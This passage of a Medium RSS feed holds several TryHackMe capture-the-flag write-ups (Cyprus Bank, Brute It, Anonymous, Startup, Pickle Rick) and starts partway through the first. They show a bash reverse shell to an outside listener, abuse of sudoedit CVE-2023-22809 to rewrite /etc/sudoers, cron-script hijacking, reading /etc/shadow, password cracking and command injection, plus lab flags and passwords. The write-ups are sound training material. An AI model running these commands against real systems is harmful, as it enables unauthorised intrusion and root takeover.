5656</pre><p>boom we get the reverse shell now follow these steps for the user flag and root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/0*cGgyPIUQdAO7CxEs.png" /></figure><pre>python3 -c &quot;import pty;pty.spawn(&#39;/bin/bash&#39;)&quot;<br>web@cyprusbank:~/app$ export TERM=xterm<br>export TERM=xterm<br>web@cyprusbank:~/app$ ^Z<br>zsh: suspended  nc -lnvp 5656<br>$ stty raw -echo; fg</pre><pre>cd ..<br>cat user.txt<br>THM{****************}</pre><h3>Step 3: Privilege Escalation</h3><pre>web@cyprusbank:~/app$ sudo -l<br>Matching Defaults entries for web on cyprusbank:<br>    env_keep+=&quot;LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET&quot;, env_keep+=&quot;XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH&quot;,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass</pre><pre>User web may run the following commands on cyprusbank:<br>    (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm</pre><pre>web@cyprusbank:~$ sudo --version<br>Sudo version 1.9.12p1<br>Sudoers policy plugin version 1.9.12p1<br>Sudoers file grammar version 48<br>Sudoers I/O plugin version 1.9.12p1<br>Sudoers audit plugin version 1.9.12p</pre><p>After researching online, I discovered the CVE-2023–22809 vulnerability in sudoedit 1.9.12p1. This exploit lets users bypass file restrictions by setting SUDO_EDITOR (or similar variables) with the — argument, allowing any file to be edited with root privileges. Using this, I can modify /etc/sudoers to give my user full sudo access, effectively gaining root-level control of the system.</p><pre>web@cyprusbank:~/app$ export EDITOR=&quot;nano -- /etc/sudoers&quot;<br>web@cyprusbank:~/app$ sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm</pre><pre>root ALL=(ALL:ALL) ALL<br>web ALL=(ALL:ALL) NOPASSWD: ALL</pre><pre>web@cyprusbank:~$ sudo -l<br>Matching Defaults entries for web on cyprusbank:<br>    env_keep+=&quot;LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET&quot;, env_keep+=&quot;XAPPLRESDIR XFILESEARCHPATH<br>    XUSERFILESEARCHPATH&quot;, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,<br>    mail_badpass</pre><pre>User web may run the following commands on cyprusbank:<br>    (ALL : ALL) NOPASSWD: ALL<br>    (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm</pre><p>To complete the privilege escalation, simply running sudo su will open a root shell.</p><pre>web@cyprusbank:~$ sudo su<br>root@cyprusbank:/home/web# cd /root<br>root@cyprusbank:/home/web# cat root.txt<br>THM{****************}</pre><p>This was a fantastic room to learn about SSTI vulnerabilities and privilege escalation using sudoedit vulnerabilities! happy hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5f625c166fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[CTF] Tryhackme: Brute it]]></title>
            <link>https://medium.com/@Sh1dO0w/ctf-tryhackme-brute-it-cf88cae1a9f8?source=rss-8dac72ccd6fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf88cae1a9f8</guid>
            <dc:creator><![CDATA[Shadow]]></dc:creator>
            <pubDate>Mon, 21 Oct 2024 16:12:57 GMT</pubDate>
            <atom:updated>2024-10-21T16:12:57.403Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*YId2p4dzHMo1HRbd.png" /></figure><h3>Introduction</h3><p>Welcome to this writeup focused on CTF ‘Brute it’s published by <a href="https://tryhackme.com/p/ReddyyZ">ReddyyZ</a> on the platform <a href="https://tryhackme.com/">Tryhackme</a>.</p><p>As mentioned in the room’s introduction, this CTF designed for beginners will cover the following fields: <strong>Brute Force</strong>, <strong>Hash cracking,</strong> and <strong>privilege escalation. </strong>Let’s start with the enumeration and scan of the machine.</p><p>As usual, we start with a scan of the machine with <strong>nmap </strong>and the following command :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/0*NEGegKFWZtda4OhW.png" /></figure><p>The results of our scan quickly let us answer the first four questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/0*bLD9GymWwwNoyu_6.png" /></figure><p>How many ports are open? <strong>2</strong></p><p>What version of SSH is running? <strong>OpenSSH 7.6p1</strong></p><p>What version of Apache is running? <strong>2.4.29</strong></p><p>Which Linux distribution is running? <strong>Ubuntu</strong></p><p>We only find the Apache2 default page when we put the IP in our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*MNA3RjsUeLDFhtcm.png" /></figure><p>Next, we’re going to run a Gobuster scan with our chosen directory list in order to find any hidden directories on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/0*1J8J7bvfrSBpUd9c.png" /></figure><p>And we have a form, requiring a username and a password :</p><p>When we go to that directory in our browser, we are faced with a simple login form. What can we learn from that? Turns out we can learn plenty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/0*YkOxLaGxp_oJXsNL.png" /></figure><p>Let’s check the source of the page in case there’s anything there that can help us. This should be standard practice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/0*DL1jodSPfBIy8Yle.png" /></figure><p>What do you know, we have the name “<strong><em>john</em></strong>” which we’ll keep in mind for later, and we find out that the username is <strong><em>admin</em></strong>. All because of a forgotten comment in the HTML code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/0*w3Me60sSM3OXd-TP.png" /></figure><p>Another useful thing to note in the source code is the names of the input fields which are “<strong><em>user</em></strong>” and “<strong><em>pass</em></strong>”. If you miss that in the HTML, you can find those out with BurpSuite as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/293/0*SE8Mq4c6fXA_9HEU.png" /></figure><p>Let’s enter the username admin and a random password to see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/0*5Bfcszf_Chvc7rWA.png" /></figure><p>We get a simple error message which we can put to good use soon enough.</p><p>Now, we need all of the information we’ve gathered so far to craft our <strong>Hydra</strong> command to brute-force the login form:</p><p>- username = <strong><em>admin</em></strong></p><p>- username and password input fields are called “<strong><em>user</em></strong>” and “<strong><em>name</em></strong>”</p><p>- error message when inputting incorrect login details = “<strong><em>Username or password invalid</em></strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/0*Gj9N3VUdCmLurwaZ.png" /></figure><p>We run our newly crafted Hydra command and soon enough we have our password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*Cq4QwkYx91mFUiDq.png" /></figure><p>We can successfully use it to log in as admin. There we find a web flag at the end, a message for John again, along with a link to John’s private RSA key. Now that’s a useful find!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/0*DucUZnLlA-gklU9y.png" /></figure><p>We can follow the link to the RSA key and use wget to download it to our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*eO7KmgY87ttcCqvR.png" /></figure><p>Next, we need to convert the key into a hash format that our favorite hash cracker <strong>John the Ripper</strong> can work with by using ssh2john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*X8HBeVwyhnvY9w4F.png" /></figure><p>Then we can run the hash file through John and receive the passphrase for the RSA key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/0*r5FCI2SELeDUvfid.png" /></figure><p>One last thing to do — we shouldn’t forget to give the id_rsa file the proper permissions it requires. And we’re good to go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/0*V7FqFoimIkVg4iNa.png" /></figure><p>We’re logged in as John and we can get the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/0*haTEtjLl-7dkJ7fT.png" /></figure><p>It’s time to find a way to escalate our privileges. The easiest wins are usually binaries that we can run with sudo or that have the SUID bit set. You can look for those first or go through your list (that you hopefully have) of commands for the enumeration of Linux systems in order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/0*8KcjKeCNmcjZ3VdM.png" /></figure><p>We find that we can run the <strong><em>cat</em></strong> command with sudo privileges without a password. Let’s look that up on <a href="https://gtfobins.github.io/">GTFOBins</a>.</p><p>We found out that we can exploit this to read a file. What’s the most useful file we can get our hands on? That’s right, the illusive <strong>/etc/shadow</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/0*zEX75XmEH-a9R4GG.png" /></figure><p>And now we’ve got our hands on the hash for the root password.</p><p>You probably know what follows. We also need to read /etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/0*paiNzZNO1_nZtNJb.png" /></figure><p>Then we can create the two files we need for the unshadow command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/0*44308hjIIujwNWHs.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/0*ugOrz_xM65o4kPAd.png" /></figure><p>This will give us a txt file that John can work with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/0*xbn_htIA0Jd9PH05.png" /></figure><p>And so we’ve obtained the password for root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/0*e1jVVLpDnahfvxkM.png" /></figure><p>Time to switch to that user to receive our final flag and complete this challenge.</p><p>Thankyou for reading!</p><p>This room was fun, happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf88cae1a9f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonymous CTF — TryHackMe]]></title>
            <link>https://medium.com/@Sh1dO0w/anonymous-ctf-tryhackme-c992b18df264?source=rss-8dac72ccd6fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/c992b18df264</guid>
            <dc:creator><![CDATA[Shadow]]></dc:creator>
            <pubDate>Tue, 15 Oct 2024 16:45:37 GMT</pubDate>
            <atom:updated>2024-10-15T16:45:37.336Z</atom:updated>
            <content:encoded><![CDATA[<h3>Anonymous CTF — TryHackMe</h3><p>This is my write-up, to the <a href="https://tryhackme.com/room/anonymous">Anonymous</a> CTF on <a href="https://tryhackme.com/">TryHackMe</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*IdWMCD9BGbG100xH.png" /></figure><p>firstly, I start with an nmap scan to check the open ports and services</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*Zgz10RgX7lwO5R5SDpUt8Q.png" /></figure><p>and I see there are 4 ports open 21,22,139 and 445</p><ol><li>Enumerate the machine. How many ports are open?</li></ol><p>4 ports are open</p><p>2 . What service is running on port 21?</p><p>ftp is running on port 21</p><p>3. What service is running on ports 139 and 445?</p><p>smb is running on ports 139 and 445</p><p>When you see an open FTP port, you first check for an anonymous login.</p><blockquote><em>ftp $IP</em></blockquote><p>When asked for a username type anonymous and press enter two times.</p><p>And BOOM! It worked! we successfully login There are some files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*gSBhC271u17gvzgYILU7Xg.png" /></figure><p>There is a directory named <strong>scripts</strong> and there are 3 files inside this directory and they all look interesting. From this moment, let’s download those files into our local system and inspect them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*312uFxfwWUOjEu-alKOwEg.png" /></figure><p>I used mget * command to download all the files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*2uerkz7eF4hGC1AvjBH7CQ.png" /></figure><p>and I found nothing useful here!</p><p>From here, with further enumeration, we can see that there may be a cronjob set for <strong>clean.sh</strong> to be executed. Then, if we put a bash reverse shell script inside our <strong>clean.sh</strong> file, it will give us a shell. To do that, create a new <strong>clean.sh </strong>in your local system and try to over-write the one on <strong>FTP </strong>share. We can do this because we have written permission with <strong>anonymous </strong>login on <strong>FTP </strong>share<strong>:</strong></p><p>Now, let’s try to create our reverse shell and overwrite the script on <strong>FTP </strong>share. To create a bash reverse shell, we can always use <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet"><strong>Pentest Monkey’s Reverse Shell Cheat Sheet</strong></a><strong> </strong>. Let’s try to create our shell:</p><pre>bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*jhqNylcqj_EAlcyFNVqmQA.png" /></figure><p>Now that we’ve created our payload, it’s time to replace the file on <strong>FTP </strong>share:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*vgNZl1Y5Z7Pjkob0YpiaLg.png" /></figure><p>In here, the first <strong>clean.sh</strong> represents the one I have created on my local system and the second <strong>clean.sh</strong> file represents the one that is currently on the <strong>FTP </strong>share. After executing this, the file is changed to the one we’ve modified. Now, it’s time to set our nc listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/234/1*Bn3sb7QvAr4QIoDs0Xovuw.png" /></figure><p>boom! we got the reverse shell and I also find user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*HN0CYRD-c72COdQaJ79GjQ.png" /></figure><p>That wasn’t so hard. Now, for privilege escalation, I prefer to use <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS"><strong>linPEAS</strong></a><strong>. </strong>What I am going to do is upload the linPEAS to the machine and then simply execute it:</p><p>When we check the <strong>SUID permissions</strong>, we see that there is a SUID bit set which is a %99 privilege escalation vector. It’s time to go to our old friend <strong>GTFOBins:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*8MQ_jt3ITHQCPN4mf2ANEg.png" /></figure><p>Let’s try to use the one for <strong>SUID</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*ICvF_-V2-_WidjHAvoFA-A.png" /></figure><p>Yup, nice and easy.</p><p>Thanks to NamelessOne for this cool box, I liked it while I was solving it ❤</p><p>Thanks for reading my write-up, hope you enjoyed it.</p><p>See you on the next one! happy hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c992b18df264" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Startup Write-Up]]></title>
            <link>https://medium.com/@Sh1dO0w/tryhackme-startup-write-up-55ab755222f8?source=rss-8dac72ccd6fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/55ab755222f8</guid>
            <dc:creator><![CDATA[Shadow]]></dc:creator>
            <pubDate>Sun, 13 Oct 2024 16:45:30 GMT</pubDate>
            <atom:updated>2024-10-13T16:45:30.126Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bWApvAdDdOATZcFxZ0n2yA.png" /></figure><p>Abuse traditional vulnerabilities via untraditional means.</p><p><em>TryHackMe Startup walkthrough</em></p><p>This is a write-up for a TryHackMe room called Startup linked <a href="https://tryhackme.com/room/startup">here</a>.</p><h4>Enumeration and Scanning</h4><p>Using nmap, I found that this box had 3 ports open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*8o_ZedoN9cqsVH09.png" /></figure><p>After that, I went to port 80 and The webpage looked like it was still under development.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*Td3jBr1lvFtcSvYC.png" /></figure><p>Then, I ran gobuster and found a hidden folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*jXHTzVmlhPr7DzCW.png" /></figure><p>In the files directory, I found this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*8dM30b7TdLXRZl_N.png" /></figure><p>Returning to the FTP service, I tried logging in via an anonymous user, and boom I logged in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*MgY0c_EiEtmh7H2H.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*kf1-ST6Exfo9eH9s.png" /></figure><p>The FTP and HTTP directory are the same. This means that we can upload files (read: reverse shell payloads) to the FTP directory which we can then execute on the browser.</p><h4>Abusing the FTP/HTTP misconfiguration</h4><p>To test this theory, we move into the /FTP directory as this is the directory that should have permission to upload files and upload a test file to see if we can display and execute it in the browser. To do this, I created a test.html page and uploaded it into the /FTP directory;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*bJq87mCx2M-auUyz.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*iWsXO3r73WQxEQmY.png" /></figure><p>Now, to get a shell, we use <a href="https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php">PentestMonkey’s Reverse-Shell-PHP payload</a>, change the IP and Port, and upload it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*-JxxW3jNJG3vggVV.png" /></figure><h4>Stabilizing the shell</h4><p><strong>To stabilize the shell, we execute the following steps;</strong></p><p><strong>1) python -c ‘import pty;pty.spawn(“/bin/bash”)’</strong></p><p><strong>This spawns a Bash shell</strong></p><p><strong>2) export TERM=xterm</strong></p><p>This will give access to terminal commands like clear</p><p><strong>3) Background the shell using Ctrl + Z;</strong></p><p>In the native shell, use<strong> stty raw -echo; fg</strong></p><p>This will turn off the terminal echo (giving access to tab autocompletes, arrow keys etc.) and foreground the shell</p><p><strong>4) alias ll=’ls -la’</strong></p><p>This is a personal preference as it’s always better to list all current files with all the details which is always a good habit (which the following steps in this room would teach me)</p><p>As I would learn, stabilizing the shell was extremely important because there was no way I’d get a real shell (SSH or otherwise).</p><h4>Finding out the Secret Spicy Soup Recipe</h4><p>Now that we have a working shell with most of the features, we go to the / directory to see its contents with our ll command. As you view the contents, make sure to not rush and miss out on anything. If you do so, then you should notice some extra (Hint: Which don’t belong) folders and files here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*b_rAG9xI6EtoNIJH.png" /></figure><p><strong>They are as follows:</strong></p><p>drwxr-xr-x 2 www-data www-data 4096 Nov 9 02:12 incidents<br>-rw-r — r — 1 www-data www-data 136 Nov 9 02:12 recipe.txt<br>drwxr-xr-x 2 root root 4096 Nov 9 02:10 vagrant</p><p>Opening up recipe.txt should help us with some clues on the Secret Spicy Soup Recipe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*f1TRXNrMwwEy7XhS.png" /></figure><p>Thoughts: I was honestly stuck here for a little while as I didn’t know what to do and rushed over the directories. It was only after I took a step back and went through all the directories and files that I noticed the extra directories and files. Lesson/Pro-Tip: Take your time to go over each folder and file to see any sus discrepancies</p><p><strong>1) What is the secret spicy soup recipe?</strong></p><p>Ans:- love</p><h4>Getting User privileges</h4><p>There are more out-of-place folders here, namely, /incidents and /vagrant. Going into the /incidents directory we see a suspicious.pcapng packet capture file.</p><p><strong>That’s pretty sus ngl.</strong></p><p>To view it you could either cat it out onto the terminal (like a pleb lmao) Or you could copy it to the /ftp directory to download and view it onto your system (like moi). To do so, simply run;</p><p><strong>www-data@startup:/incidents$ cp suspicious.pcapng /var/www/html/files/ftp/</strong></p><p>We know that it’s an Apache Server on Ubuntu and <strong>/var/www/html </strong>is where the Apache Server files exist.</p><p>Now, download and view the file with Wireshark with</p><p>❯ <strong>wireshark suspicious.pcapng</strong></p><p>The best way to find useful information from a packet capture is to go through each<strong><em> TCP/HTTP</em></strong> stream and try to find something that seems useful.</p><p>If you do so, you’ll come around a TCP Stream which seems like a packet capture of a<strong> Remote Connection session</strong> (telnet maybe?)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/0*Is9Xrra-9ZNGLvLS.png" /></figure><p><strong>We notice three things here;</strong></p><ul><li>They used the same shell stabilizing techniques as us!</li><li>Seems like the user lennie is accessing the session and</li><li>He has entered his password!</li></ul><p><strong>Hence, we simply get user (lennie) privileges by;</strong></p><p>www-data@startup:/incidents$ su lennie<br>Password: c4nt**************<br>lennie@startup:/incidents$ whoami<br>lennie</p><p>Going into /home/lennie we see the user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/0*a6PkRGOZhWuBhRe5.png" /></figure><p><strong>2) What are the contents of user.txt?</strong></p><p>Ans :- thm{03ce3d619b0ccbfb3b7fc81e46c0e79}</p><h4>Getting the Root Privileges</h4><p>In our home directory, we see that there are two directories, one of which is owned by root. Maybe this can help us get root?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*i_3SiKLuoJxY41MT.png" /></figure><p>The /scripts directory has the following files;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*gKelCHnmodwZB8uq.png" /></figure><p><strong>It’s important to take note of the permissions and last modified information here;</strong></p><ul><li>Both the files here can only be modified by the root.</li><li>startup_list.txt has been modified pretty recently (1 minute ago)</li></ul><p><strong>The contents of planner.sh are as;</strong></p><p>#!/bin/bash<br>echo $LIST &gt; /home/lennie/scripts/startup_list.txt<br>/etc/print.sh</p><p>We see that it calls another script /etc/print.sh; which is owned by lennie!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*LAiQTnr_HWs7Eq4R.png" /></figure><p><strong>The contents of /etc/print.sh are;</strong></p><p>#!/bin/bash<br>echo “Done!”</p><p>To reiterate, we have a script owned by us which is run by another script owned by root.</p><p><strong>If only there was a way for root to run that script… Surprise, surprise! Root does that for ourselves! In concise;</strong></p><ul><li>Root Cron Job runs planner.sh</li><li>Modifies startup_list.txt</li><li>Runs /etc/print.sh</li></ul><p>Since we notice that startup_list.txt is being modified every minute by some cron job, it is safe to assume that it is planner.sh which does it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*QZiIARa76VIznU40.png" /></figure><p>Hence we can modify the /etc/print.sh script and wait one minute for root to run it!</p><p>So, we make a directory in the /tmp folder to store the flag;</p><p>mkdir /tmp/lol</p><p>And adding the following to /etc/print.sh;</p><p>cat /root/root.txt &gt; /tmp/lol/flag</p><p>should do the job of getting the flag for us!</p><p>Thoughts: I was stuck here for over a day before I noticed that the file was modified by some cron job. I tried finding cron jobs but since the cron running here is a user job and not a system one; something which I learned because of this room; I couldn’t find one to confirm my suspicions about a cron job running and got sucked into unnecessary rabbit holes.</p><p>Wait for one minute for the cron job to run and;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*RRCudFwXIp04knWQ.png" /></figure><p><strong>3) What are the contents of root.txt?</strong></p><p>Ans :- thm{f963aaa6a430f21022215ae15c3d76d}</p><p>Thank you for reading , happy hacking 🗿</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55ab755222f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pickle Rick CTF — TryHackMe]]></title>
            <link>https://medium.com/@Sh1dO0w/pickle-rick-ctf-tryhackme-55d9a325eab2?source=rss-8dac72ccd6fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/55d9a325eab2</guid>
            <category><![CDATA[pickle-rick-walkthrough]]></category>
            <dc:creator><![CDATA[Shadow]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 16:52:01 GMT</pubDate>
            <atom:updated>2024-09-05T16:52:01.517Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pickle Rick CTF — TryHackMe</h3><p>The Pickle Rick CTF is a fun, beginner-friendly room on TryHackMe inspired by the <em>Rick and Morty</em> series. The objective is to help Rick, who has turned himself into a pickle, recover three ingredients hidden on a vulnerable web server. To complete the challenge, we must find and capture three flags scattered around the web application.</p><p>This write-up outlines the steps I took to solve the room and highlights some key techniques like web enumeration and command injection.</p><p>While solving any CTF the first thing I always do is reconnaissance I began by using nmap to scan for open ports and services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*jF3mMAnFCwJ1wPv0dF6OpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*5Hf8cQQG_uuAI1OC8HLWDA.png" /></figure><p>The scan results showed that port 80 (HTTP) and port 22 were open and running a web server. so firstly I focused on exploring the web application hosted on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*_p_O7SsuMM4C63Qfr6e0zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*WRQCqNQ2Jrxe33ed6fupUA.png" /><figcaption>page source code</figcaption></figure><p>when I inspected the source code of the homepage, I found a comment containing the username: <strong>R1cKRul3s</strong></p><p>but I still needed to find the password to gain access to the web application. so I brute-forced the directories To discover hidden directories or files, I ran gobuster to brute-force directories on the web server:</p><blockquote>gobuster dir -u http://&lt;10.10.155.6&gt; -w/usr/share/wordlists/dirb/common.txt</blockquote><p>After the scan of Gobuster, I found some directories like /login.php and /robots.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*ZVmM_X_R6GxTvUmVOK6Cyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*KTwXD-gPYEIpxJDMlqwt8A.png" /><figcaption>This directory looks like the password</figcaption></figure><blockquote>Using the username <strong>R1ckRul3s</strong> and the password <strong>Wubbalubbadubdub</strong>, I successfully logged into the admin panel.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*luiEsqko4kGnv9o2y-dJrw.png" /><figcaption>A command panel appears</figcaption></figure><p>After seeing this I try command injection to find the ingredients</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*wW8-2G0U1YcXfpktrEOGPA.png" /></figure><p>I found many files and the Sup3rS3cretPickl3Ingred.txt seemed interesting to me so I opened it but then I realized that the cat commands were disabled I could not able to read files with the cat command I used less command to read this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*WmP6G9dwtswB6En-3rC1eQ.png" /><figcaption>here is the first ingredient</figcaption></figure><p>The files contain the first ingredient <strong>mr. meeseek hair</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ez6RLrt2FBfekZI9GeY3Dg.png" /></figure><p>Then I read <strong>clue.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iqBA16fQE8YiWun7onTdTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*eMYqOBxct5YkjqE09EB5Fw.png" /></figure><p>The flag was located in the /home/rick directory. I used ls to check for the files and I found the second ingredients file so I used the following command to view the contents of the directory and read the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*ag0-7HhNX1UidvJwuPN2jQ.png" /></figure><p>the second</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*PMUmwDdOg-hQq-PElBNjDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*9vyjbmGIPpFfOm3Nf6598w.png" /></figure><p>I found this accepts sudo commands so I looked in the root directory and found the 3rd.txt file which contains the 3rd ingredient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*DvvZaLV2cdkBNcmDTnJ9-w.png" /></figure><p>The last ingredient was “<strong>fleeb juice”</strong></p><p>And now finally Pickle Rick is back!</p><p>Happy hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55d9a325eab2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>